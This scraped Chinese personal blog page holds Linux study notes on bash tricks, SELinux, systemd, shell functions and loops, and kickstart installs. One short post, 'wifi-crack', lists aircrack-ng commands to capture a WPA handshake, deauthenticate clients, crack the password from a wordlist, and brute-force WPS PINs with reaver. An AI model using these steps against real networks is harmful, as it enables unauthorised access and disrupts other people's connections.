class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment"># 漂亮的带语法高亮的 color cat ，需要先 pip install pygments</span></span><br><span class="line"><span class="keyword">function</span> <span class="function"><span class="title">ccat</span></span>() &#123;</span><br><span class="line">    <span class="built_in">local</span> style=<span class="string">"monokai"</span></span><br><span class="line">    <span class="keyword">if</span> [ <span class="variable">$#</span> -eq 0 ]; <span class="keyword">then</span></span><br><span class="line">        pygmentize -P style=<span class="variable">$style</span> -P tabsize=4 -f terminal256 -g</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">        <span class="keyword">for</span> NAME <span class="keyword">in</span> <span class="variable">$@</span>; <span class="keyword">do</span></span><br><span class="line">            pygmentize -P style=<span class="variable">$style</span> -P tabsize=4 -f terminal256 -g <span class="string">"<span class="variable">$NAME</span>"</span></span><br><span class="line">        <span class="keyword">done</span></span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># 好玩的配置</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># 放到你的 ~/.bashrc 配置文件中，给 man 增加漂亮的色彩高亮</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_mb=$<span class="string">'\E[1m\E[32m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_mh=$<span class="string">'\E[2m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_mr=$<span class="string">'\E[7m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_md=$<span class="string">'\E[1m\E[36m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_ZW=<span class="string">""</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_us=$<span class="string">'\E[4m\E[1m\E[37m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_me=$<span class="string">'\E(B\E[m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_ue=$<span class="string">'\E[24m\E(B\E[m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_ZO=<span class="string">""</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_ZN=<span class="string">""</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_se=$<span class="string">'\E[27m\E(B\E[m'</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_ZV=<span class="string">""</span></span><br><span class="line"><span class="built_in">export</span> LESS_TERMCAP_so=$<span class="string">'\E[1m\E[33m\E[44m'</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># ALT+hjkl/HJKL 快速移动光标，将下面内容添加到 ~/.inputrc 中可作用所有工具，</span></span><br><span class="line"><span class="comment"># 包括 bash/zsh/python/lua 等使用 readline 的工具，帮助见：info rluserman</span></span><br><span class="line"><span class="string">"\eh"</span>: backward-char</span><br><span class="line"><span class="string">"\el"</span>: forward-char</span><br><span class="line"><span class="string">"\ej"</span>: next-history</span><br><span class="line"><span class="string">"\ek"</span>: previous-history</span><br><span class="line"><span class="string">"\eH"</span>: backward-word</span><br><span class="line"><span class="string">"\eL"</span>: forward-word</span><br><span class="line"><span class="string">"\eJ"</span>: beginning-of-line</span><br><span class="line"><span class="string">"\eK"</span>: end-of-line</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"><span class="comment"># References</span></span><br><span class="line"><span class="comment">##############################################################################</span></span><br><span class="line"></span><br><span class="line">https://github.com/Idnan/bash-guide</span><br><span class="line">http://www.linuxstall.com/linux-command-line-tips-that-every-linux-user-should-know/</span><br><span class="line">https://ss64.com/bash/syntax-keyboard.html</span><br><span class="line">http://wiki.bash-hackers.org/commands/classictest</span><br><span class="line">https://www.ibm.com/developerworks/library/l-bash-test/index.html</span><br><span class="line">https://www.cyberciti.biz/faq/bash-loop-over-file/</span><br><span class="line">https://linuxconfig.org/bash-scripting-tutorial</span><br><span class="line">https://github.com/LeCoupa/awesome-cheatsheets/blob/master/languages/bash.sh</span><br><span class="line">https://devhints.io/bash</span><br><span class="line">https://github.com/jlevy/the-art-of-command-line</span><br><span class="line">https://yq.aliyun.com/articles/68541</span><br><span class="line"></span><br><span class="line"><span class="comment"># vim: set ts=4 sw=4 tw=0 et :</span></span><br></pre></td></tr></table></figure>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/26/wifi-crack/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/26/wifi-crack/" class="post-title-link" itemprop="url">wifi-crack</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-27 07:33:06 / 修改时间：15:33:18" itemprop="dateCreated datePublished" datetime="2020-06-27T07:33:06+08:00">2020-06-27</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <ol>
<li>使用airmon-ng命令检查网卡是否支持监听模式</li>
</ol>
<p><code>airmon-ng</code></p>
<ol start="2">
<li>开启无线网卡的监听模式</li>
</ol>
<p><code>airmon-ng start IFACE</code></p>
<ol start="3">
<li>扫描环境中的WiFi网络</li>
</ol>
<p><code>airodump IFACE</code></p>
<ol start="4">
<li>抓取握手包</li>
</ol>
<p><code>airodump-ng -c TARGET_CHANNEL --bssid TARGET_MAC -w CAP_FILE IFACE</code></p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">-c 指定信道，上面已经标记目标热点的信道</span><br><span class="line"></span><br><span class="line">-bssid指定目标路由器的BSSID，就是上面标记的BSSID</span><br><span class="line"></span><br><span class="line">-w指定抓取的数据包保存的目录</span><br></pre></td></tr></table></figure>

<ol start="5">
<li>对无线路由器进行Deauth攻击</li>
</ol>
<p><code>aireplay-ng --deauth 1 -a TARGET_MAC -c DEVICE_MAC IFACE</code></p>
<ol start="6">
<li>进行破解WIFI密码（跑包）</li>
</ol>
<p><code>aircrack-ng -w WORDLIST CAP_FILE</code></p>
<ol start="7">
<li>pin破解</li>
</ol>
<p>wash -i IFACE</p>
<p>reaver –bssid TARGET_MAC –channel TARGET_CHANNEL -i IFACE -A -v –no-nack</p>
<p>aireplay-ng –fakeauth 100 -a TARGET_MAC -h IFACE_MAC IFACE</p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/26/27-Selinux/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/26/27-Selinux/" class="post-title-link" itemprop="url">27.Selinux</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-27 07:32:29 / 修改时间：15:32:42" itemprop="dateCreated datePublished" datetime="2020-06-27T07:32:29+08:00">2020-06-27</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <p>Selinux<br>    Secure Enhanced Linux</p>
<p>工作于内核中<br>强制访问控制</p>
<p>DAC：自主访问控制：</p>
<p>MAC：强制访问控制：</p>
<p>最小权限法则</p>
<p>解决进程启动之后拥有属主所有权限的问题</p>
<p>sandbox：沙箱机制</p>
<p>任何进程启动之后，会处于一个我们提供的最小权限环境下，即使脱离控制，也不能随意造成破坏；</p>
<p>不需要把所有进程都置入沙箱</p>
<p>若果ps top 都被替换？</p>
<p>通常别人能够访问到的服务进程应该纳入selinux</p>
<p>SElinux2种工作级别：<br>    strict：每个进程都受到SElinux的控制：<br>    targeted：有限的进程受到SElinux的控制：只监控容易被入侵的进程；</p>
<p>安全法则模型：<br>    subject：进程<br>    object：其他进程或文件<br>        文件：open、read、write、close、chown、chmod<br>    subject：domain 域<br>    object：type    类型</p>
<p>ls -Z<br>ps auxZ</p>
<p>SElinux为每个文件提供了安全标签，也为进程提供了安全标签；<br>user：role：type<br>    user：SElinux的user；<br>    role：角色<br>    type：类型</p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/26/26-Systemd/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/26/26-Systemd/" class="post-title-link" itemprop="url">26.Systemd</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-27 07:32:05 / 修改时间：15:32:17" itemprop="dateCreated datePublished" datetime="2020-06-27T07:32:05+08:00">2020-06-27</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <p>Systemd<br>POST–Bootsequeue –bootloader（MBR）–kernel–rootfs-init<br>centos5 ：Sysv<br>centos6 ：upstart<br>centos7 ：systemd</p>
<p>新特性:<br>系统引导时实现服务并行启动；<br>按需激活进程<br>系统状态快照<br>基于依赖关系定义服务控制逻辑</p>
<p>核心概念 unit<br>    由其相关配置文件进行标识、识别和配置；文件中主要包含了系统服务、监听的socket、保存的快照以及其他与init相关的信息；<br>    这些配置文件主要保存在<br>    /etc/systemd<br>    /lib/systemd/system<br>    /usr/lib/systemd/system<br>    /run/systemd/syetem</p>
<p>unit的常见类型；<br>Service unit 文件扩展名是.service，用于定义系统服务<br>Target unit 文件扩展为.target 用于模拟实现“运行级别”<br>Device unit  .device 用于定义内核识别的设备<br>Mount unit .mount 定义文件系统挂载点 （用户组和名称空间）<br>Socket unit 。socket 用于标识进程间通信用到的socket文件；<br>Snapshot .snapshot 管理系统快照<br>Swap unit .swap 用于标识swap设备<br>Automount unit .automount 文件系统自动点设备<br>Path unit .path 用于定义文件系统中的文件或目录</p>
<p>关键特性：<br>    基于socket的激活机制：socket与程序分离<br>    基于bus的激活机制；<br>    基于device的激活机制；<br>    基于path的激活机制；<br>    系统快照：保存各unit的当前状态信息于持久存储设备中；实现回滚<br>    向后兼容SYSV的init脚本<br>        /etc/init.d<br>    不兼容：<br>        systemctl 的命令是固定不变的；<br>        非由systemd启动的服务，systemctl无法与之通信，无法控制此服务；（自己写个unit）</p>
<p>管理系统服务；<br>centos7 ：service类型的unit文件：<br> systemctl [OPTIONS…] COMMAND [NAME…]</p>
<p>启动、停止、重启、状态：<br>service NAME start  ===》 systemctl start NAME<br>stop<br>restart<br>status<br>    loaded：表示已装载，被管理<br>    Active：inactive（停止dead）（disabled）（不自启）<br>    Active: active (running）（运行中）</p>
<p>条件式重启：<br>    systemctl try-restart NAME</p>
<p>重载或重启服务：<br>systemctl reload-or-try-restart NAME<br>reload-or-restart<br>reload-or-try-restart</p>
<p>查看服务当前启动与否？<br>systemctl is-active NAME</p>
<p>查看所有已激活的服务；<br>systemctl list-units </p>
<p>systemctl list-units –type service<br>查看所有服务（已激活和未激活）<br>systemctl list-units -t service –all<br>chkconfig –list</p>
<p>开机自启<br>chkconfig NAME on<br>systemctl enable NAME</p>
<p>关闭自启<br>chkconfig NAME off<br>systemctl disable NAME</p>
<p>查看某服务是否能开机自启<br>systemctl is-enabled NAME<br>chkconfig –list NAME</p>
<p>禁止某服务设置为开机自启：<br>systemctl mask NAME</p>
<p>取消此限制<br>systemctl unmask NAME</p>
<p>查看服务的依赖关系：<br>systemctl list-dependencies NAME</p>
<p>管理target units：<br>运行级别：<br>0 == runlevel0.target poweroff.target<br> systemctl poweroff</p>
<p>1 == runlevel.target rescue.target</p>
<p>2 == runlevel2.target  multi-user.target<br>3 == runlevel3.target   multi-user.target<br>4 == runlevel4.target   multi-user.target</p>
<p>5 == runlevel5.target   graphical.target</p>
<p>6 == runlevel6.target   reboot.target</p>
<p>级别切换：<br>init N<br>systemctl isolate NAME.target</p>
<p>查看级别：<br>runlevel<br>systemctl list-units -t target</p>
<p>查看所有target<br>systemctl list-units -t target –all</p>
<p>获取默认运行级别<br>systemctl get-default</p>
<p>修改默认运行级别<br>systemctl set-default multi-user.target </p>
<p>sysv：修改inittab文件</p>
<p>切换至紧急救援模式：<br>systemctl rescue    会加载驱动以及1级别的</p>
<p>切换至紧急模式：<br>systemctl emergency    各种设置及驱动都不会，最简洁的模式</p>
<p>其他常见命令<br>    关机：systemctl halt ，systemctl poweroff<br>    重启：  systemctl reboot<br>    挂起：systemctl suspend<br>    快照：systemctl hibernate<br>    快照并挂起：systemctl hybrid-sleep、</p>
<p>SERVICE unit 文件组成<br>通常三部分组成<br>[Unit] ：定义与unit类型无关的通用选项；用于提供unit的描述信息，unit行为以及依赖关系等；<br>[Service] :与特定类型相关的专用选项；此处为service类型；<br>[Install] ：定义由systemctl enable 以及 systemctl disable 命令在实现服务启用或禁用时用到的一些选项；</p>
<p>Unit段的常用选项；<br>    Description：描述信息；意义性描述<br>    After：定义unit的启动次序；表示当前unit应该晚于哪些unit启动；其功能与Before相反；<br>    Requles ：依赖到的其他units，强依赖，被依赖的units无法激活时，当前unit无法激活<br>    Wants：依赖到的其他units；弱依赖；<br>    Conflicts：定义units之间的冲突关系；</p>
<p>Service段常用选项：<br>    TYPE:  定义影响ExecStart及相关参数的功能的unit进程启动类型；<br>        类型：<br>            simple：父进程和子进程（nginx之类的）<br>            forklng：后续进程启动之后这个进程会退出<br>            oneshot：<br>            dbus：后续进程只有在主进程得到<br>            notify：类似于simple<br>            idle：类似simple<br>    Environment: 定义环境配置文件，在ExecStart之前启动，并为之提供一些自定义选项；<br>    ExecStart ：指明启动unit要运行的命令或脚本；ExecStartPre、ExecStartPost<br>    ExecReload<br>    ExecStop ：指明停止unit要运行的命令或脚本<br>    Restart：意外终止。。</p>
<p>Install段：<br>    Alias：<br>    RequlredBy：被哪些unit所依赖<br>    WantedBy：被哪些units所依赖</p>
<p>注意：对于新创建的unit文件，或修改了的unit文件，必须要通知systemd重载此配置文件；<br>systemctl daemon-reload</p>
<p>练习：为当前系统的httpd服务提供一个unit文件</p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/26/25-%E5%87%BD%E6%95%B0%E7%BC%96%E7%A8%8B/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/26/25-%E5%87%BD%E6%95%B0%E7%BC%96%E7%A8%8B/" class="post-title-link" itemprop="url">25.函数编程</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-27 07:31:41 / 修改时间：15:31:55" itemprop="dateCreated datePublished" datetime="2020-06-27T07:31:41+08:00">2020-06-27</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <p>多分支if语句<br>if ；then<br>elif ；then<br>。。。<br>else<br>fi</p>
<p>case 语句：</p>
<p>示例1：显示一个菜单给用户<br>cpu）display cpu information<br>mem)meminfo<br>disk) diskinfo<br>quit) quit</p>
<p>要求：</p>
<ol>
<li>提示用户给出自己的选择</li>
<li>正确的选择给出相应的信息；否则，提示重新选择正确的选项；</li>
</ol>
<p>case $VARAIBLE in<br>PAT1)<br>    分支1<br>    ;;<br>PAT2)<br>    分支2<br>    ;;<br>PAT3)<br>    …<br>    …<br>*)<br>    分支n<br>    ;;<br>esac</p>
<p>示例：写一个服务框架脚本</p>
<ol>
<li>此脚本可接受start stop restart status 四个参数之一</li>
<li>如果参数非4者，提示帮助后退出</li>
<li>start，则创建lockfile，并显示启动完成；stop，删除lockfile，并显示停止；restart，先删除在创建，而后显示重启完成，status，判断文件是否存在，存在，显示running，不存在显示stopped；</li>
</ol>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">#!&#x2F;bin&#x2F;bash</span><br><span class="line">#</span><br><span class="line">prog&#x3D;$(basename $0)</span><br><span class="line">lockfile&#x3D;&#x2F;var&#x2F;lock&#x2F;subsys&#x2F;$prog</span><br><span class="line"></span><br><span class="line">case $1 in</span><br><span class="line">start)</span><br><span class="line">    if [ -f $lockfile ]; then</span><br><span class="line">        echo &quot;$prog is Running.&quot;</span><br><span class="line">    else</span><br><span class="line">        touch $lockfile</span><br><span class="line">        [ $? -eq 0 ] &amp;&amp; echo &quot;start $prog finished.&quot;</span><br><span class="line">    fi  </span><br><span class="line">    ;;  </span><br><span class="line">stop)</span><br><span class="line">    if [ -f $lockfile ]; then</span><br><span class="line">        rm -f $lockfile</span><br><span class="line">        [ $? -eq 0 ] &amp;&amp; echo &quot;stop $prog finished.&quot;</span><br><span class="line">    else</span><br><span class="line">        echo &quot;$prog stopped.&quot;</span><br><span class="line">    fi  </span><br><span class="line">    ;;  </span><br><span class="line">restart)</span><br><span class="line">    if [ -f $lockfile ]; then</span><br><span class="line">        rm -f $lockfile</span><br><span class="line">        touch $lockfile</span><br><span class="line">        echo &quot;Restarting finished.&quot;</span><br><span class="line">    else</span><br><span class="line">        touch -f $lockfile</span><br><span class="line">        echo &quot;start $prog finished.&quot;</span><br><span class="line">    fi  </span><br><span class="line">    ;;  </span><br><span class="line">status)</span><br><span class="line">    if [ -f $lockfile ]; then</span><br><span class="line">        echo &quot;Running.&quot;</span><br><span class="line">    else</span><br><span class="line">        echo &quot;Stopped.&quot;</span><br><span class="line">    fi  </span><br><span class="line">    ;;</span><br><span class="line">*)</span><br><span class="line">    echo &quot;Usage:$0 start|stop|restart|status.&quot;</span><br><span class="line">    exit 1</span><br><span class="line">esac</span><br></pre></td></tr></table></figure>

<p>函数：function<br>过程式编程：代码重用<br>模块化编程<br>结构化编程</p>
<p>把一段独立功能的代码当做一个整体，并为之一个名字，命名的代码段，此即为函数；</p>
<p>注意：定义函数的代码段不会自动执行，在调用时执行；所谓调用函数；在代码中给定函数名即可；<br>函数名出现的任何位置，在代码执行时；都会被自动替换为函数代码；</p>
<p>语法1.<br>    function f_name{<br>        …函数体…<br>    }<br>语法2.<br>    f_name{<br>        …函数体…<br>    }</p>
<p>函数的声明周期：每次被调用时创建，返回时终止；<br>其状态返回结果为函数体中运行的最后一条命令的状态结果；<br>自定义状态返回值，需要使用return；<br>retutn [0-255]<br>0：成功<br>255：失败</p>
<p>示例：</p>
<figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"> 1 #!&#x2F;bin&#x2F;bash</span><br><span class="line"> 2 #</span><br><span class="line"> 3 username&#x3D;$1</span><br><span class="line"> 4 userinfo() &#123;</span><br><span class="line"> 5     if id &quot;$username&quot; &amp;&gt; &#x2F;dev&#x2F;null; then</span><br><span class="line"> 6         grep &quot;^$username\&gt;&quot; &#x2F;etc&#x2F;passwd | cut -d: -f3,7</span><br><span class="line"> 7     else</span><br><span class="line"> 8         echo &quot;No such user.&quot;</span><br><span class="line"> 9     fi</span><br><span class="line">10 &#125;</span><br><span class="line">11 </span><br><span class="line">12 username&#x3D;$1</span><br><span class="line">13 userinfo</span><br><span class="line">14 username&#x3D;$2</span><br><span class="line">15 userinfo</span><br></pre></td></tr></table></figure>
<p> 函数返回值：<br> 函数的执行结果返回值；</p>
<ol>
<li>使用echo或printf命令进行输出；</li>
<li>函数体中调用的命令的执行结果；</li>
</ol>
<p>函数的退出状态码：</p>
<ol>
<li>默认取决于函数体中执行的最后一条命令的退出状态码；</li>
<li>自定义：return</li>
</ol>
<p>函数可以传递参数：<br>传递参数给函数：<br>    在函数体当中，可以使用$1,$2…引用传递给函数的参数；<br>    在调用函数时，在函数名后面以空白字符分隔给定参数列表即可，例如，testfunc arg1 arg2 arg3 …</p>
<p>练习：写一个脚本：<br>使用函数实现ping一个主机来测试在线状态；主机地址通过参数传递给函数：、<br>测试172.16.1.1-172.16.67.1</p>
<p>练习2：<br>打印NN乘法表</p>
<p>变量作用域<br>局部变量：作用域是函数的声明周期；在函数结束时被自动销毁<br>定义局部变量的方法：local VARAIBLE=VALUE<br>本地变量：作用域是运行脚本的shell进程的生命周期；因此，其作用范围是当前脚本程序文件；</p>
<p>函数递归：<br>    函数直接或者间接调用自身；<br>    10！=10<em>9！=10</em>9<em>8！=10</em>9<em>8</em>7！=…</p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/26/24-%E5%BE%AA%E7%8E%AF%E7%9A%84%E9%AB%98%E7%BA%A7%E7%94%A8%E6%B3%95/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/26/24-%E5%BE%AA%E7%8E%AF%E7%9A%84%E9%AB%98%E7%BA%A7%E7%94%A8%E6%B3%95/" class="post-title-link" itemprop="url">24.循环的高级用法</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-27 07:31:18 / 修改时间：15:31:30" itemprop="dateCreated datePublished" datetime="2020-06-27T07:31:18+08:00">2020-06-27</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <p>while<br>until<br>for</p>
<p>for((i=0;i&lt;10;i++));do<br>循环体<br>done</p>
<p>while read VARAIBLE；do<br>循环体<br>done &lt; /PATH/TO/SOMEFILE</p>

      
    </div>

    
    
    
      <footer class="post-footer">
        <div class="post-eof"></div>
      </footer>
  </article>
  
  
  

      
  
  
  <article itemscope itemtype="http://schema.org/Article" class="post-block" lang="zh-CN">
    <link itemprop="mainEntityOfPage" href="http://yoursite.com/2020/06/26/23-anaconda%E9%85%8D%E7%BD%AE%E5%AE%9A%E5%88%B6%E8%87%AA%E5%8A%A8%E5%8C%96%E5%AE%89%E8%A3%85Linux-1/">

    <span hidden itemprop="author" itemscope itemtype="http://schema.org/Person">
      <meta itemprop="image" content="/images/avatar.gif">
      <meta itemprop="name" content="lcxiao">
      <meta itemprop="description" content="">
    </span>

    <span hidden itemprop="publisher" itemscope itemtype="http://schema.org/Organization">
      <meta itemprop="name" content="Lcxiao's blog">
    </span>
      <header class="post-header">
        <h2 class="post-title" itemprop="name headline">
          
            <a href="/2020/06/26/23-anaconda%E9%85%8D%E7%BD%AE%E5%AE%9A%E5%88%B6%E8%87%AA%E5%8A%A8%E5%8C%96%E5%AE%89%E8%A3%85Linux-1/" class="post-title-link" itemprop="url">23.anaconda配置定制自动化安装Linux</a>
        </h2>

        <div class="post-meta">
            <span class="post-meta-item">
              <span class="post-meta-item-icon">
                <i class="fa fa-calendar-o"></i>
              </span>
              <span class="post-meta-item-text">发表于</span>
              

              <time title="创建时间：2020-06-27 07:30:47 / 修改时间：15:31:04" itemprop="dateCreated datePublished" datetime="2020-06-27T07:30:47+08:00">2020-06-27</time>
            </span>

          

        </div>
      </header>

    
    
    
    <div class="post-body" itemprop="articleBody">

      
          <p>安装操作系统的过程就是规划系统，把需要的功能和响应的文件放到合适的位置；<br>创建用户<br>init程序<br>可以自动化实现</p>
<p>CentOS系统安装：<br>bootloader–kernel（initrd（rootfs））–anaconda<br>安装程序：anaconda<br>必须先启动内核：<br>提供一个界面。首先，创建一个bootloader（安装在光盘或者U盘）<br>之后加载设备上某个路径的kernel（vmlinuz）<br>之后借助于initrd（rootfs）直接内存作为根文件系统；<br>之后启动anaconda程序（作为sbin/init）用户空间的第一个程序</p>
<p>anaconda两个界面<br>tui：基于cureses的文本配置窗口<br>gui：图形界面</p>
<p>CentOS的安装过程启动流程：<br>MBR：boot.cat<br>stage2：isolinux/isolinux.bin<br>    配置文件：isolinux/isolinux.cfg</p>
<p>每个对应的菜单选项：<br>    加载内核：isolinux/vmlinuz<br>    向内核传递参数：append initrd=initrd.img </p>
<p>获取根文件系统，并启动anaconda<br>    默认界面是图形界面；至少需要512MB内存，否则无法使用图形界面<br>    如果需要显示指定启动tui接口，向启动内核传递一个参数“text”即可；</p>
<pre><code>ESC：
boot：linux text</code></pre><p>注意：上述内容一般位于引导设备（光盘或者U盘）或者是网络上；<br>anaconda启动之后剩余的过程，后续的anaconda及其安装用到的程序包等；<br>可以来自于程序包仓库，此仓库的位置可以为：</p>
<ul>
<li>本地光盘</li>
<li>本地硬盘</li>
<li>ftp服务器</li>
<li>http服务器</li>
<li>nfs服务器</li>
</ul>
<p>如要手动指明安装仓库：则按ESC键<br>    boot：linux method（询问用户，让用户选择安装方法）</p>
<p>anaconda的工作过程：<br>安装前配置阶段<br>    安装过程使用的语言<br>    键盘类型<br>    安装目标存储设备<br>        Basic Storage：本地磁盘<br>        Special Storage：iscsi<br>    设定主机名<br>    配置网络接口<br>    时区<br>    管理员密码<br>    设定分区方式及MBR的安装位置；<br>    创建一个普通用户；<br>安装阶段<br>    在目标磁盘创建分区并执行格式化<br>    将选定的程序包安装至指定位置<br>    安装bootloader<br>首次启动<br>    iptables<br>    selinux<br>    core dump（核心转储，崩溃时，把内存数据备份下来）（可做分析用）（内存小于2G无法开启）</p>
<p>anaconda配置方式<br>    1. 交互式配置方式<br>    2. 支持通过读取配置文件中实现定义好的配置项自动完成配置；遵循特定的语法格式，此文件即为kickstart文件；</p>
<p>此文件可以放在本地文件服务器上；</p>
<p>安装引导选项：<br>text：文本安装方式<br>method：手动指定使用的安装方法<br>与网路相关的引导选项：<br>    ip=IPADDR<br>    netmask=NETMASK<br>    gateway=GW<br>    dns=DNS_SERVER_IP<br>远程访问功能相关的引导选项：<br>    VNC<br>    vncpasswd=’password’<br>启动紧急救援模式：<br>    rescue<br>装载额外驱动：<br>    dd</p>
